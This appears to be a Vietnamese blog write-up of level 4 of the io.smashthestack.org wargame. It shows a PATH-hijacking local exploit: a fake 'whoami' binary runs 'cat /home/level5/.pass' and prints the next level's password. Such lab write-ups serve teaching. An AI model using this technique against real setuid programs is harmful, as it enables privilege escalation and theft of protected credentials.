17/09/2018, 21:40

Writeup CTF: io.smashthestack.org level 04

Chào các bạn, gần đây phong trào CTF đang được nhiều đơn vị, cơ quan, trường đại học quan tâm và thường xuyên tổ chức. Bắt đầu tư hôm nay, mình sẽ đưa các bài writeup về CTF mà mình đã làm và vượt qua, hi vọng có thể giúp một số bạn mới tham gia vào CTF có thêm kinh nghiệm khi tham gia chơi CTF. ...

Chào các bạn, gần đây phong trào CTF đang được nhiều đơn vị, cơ quan, trường đại học quan tâm và thường xuyên tổ chức. Bắt đầu tư hôm nay, mình sẽ đưa các bài writeup về CTF mà mình đã làm và vượt qua, hi vọng có thể giúp một số bạn mới tham gia vào CTF có thêm kinh nghiệm khi tham gia chơi CTF. Một trò chơi rất thích hợp để nâng cao khả năng và trình độ thực hành trong ngành an toàn thông tin.

Đây là writeup về một challenge trên io.smashthestack.org, đây là CTF chuyên về khai thác lỗi phần mềm dạng “local exploit”. Đây là bài CTF level 4 trên trang io.smashthestack.org.

level4@io:~$ cd /levels
level4@io:/levels$ cat level04.c
//writen by bla
‪#‎include‬ <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen(“whoami”,”r”);
fgets(username, sizeof(username), f);
printf(“Welcome %s”, username);
return 0;
}
Theo mã nguồn ở trên, chương trình sẽ thực thi lệnh whoami để lấy username.
Khi thực thi lệnh whoami, linux sẽ tự động tìm kiếm các đường dẫn chứa file thực thi whoami trong biến môi trường PATH
Vậy hướng giải bài toán này là thiết lập (thay đổi) biến môi trường để trỏ đến file mà hacker cần thực thi
Bước 1: tạo thư mục pns trong /tmp/
level4@io:/levels$
level4@io:/levels$ ./level04
Welcome level04
level4@io:/levels$ mkdir /tmp/pns
level4@io:/levels$ cd /tmp/pns
level4@io:/tmp/pns$ nano whoami.c
Bước 2: Tạo tập tin whoami.c để đọc file chứa flag: /home/level5/.pass
#include <stdlib.h>
int main() {
system(“cat /home/level5/.pass”);
return 0;
}
Bước 3: biên dịch và chỉnh biến môi trường sao cho đường dẫn đầu tiên trỏ về thư mục /tmp/pns/
level4@io:/tmp/pns$ gcc whoami.c -o whoami
level4@io:/tmp/pns$ PATH=/tmp/pns:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/tmp/pns$ /levels/level04
Welcome KGpWsju2vDpmxcxlvm
Bài CTF này cho thấy tầm quan trọng của biến môi trường trong Software Exploit
0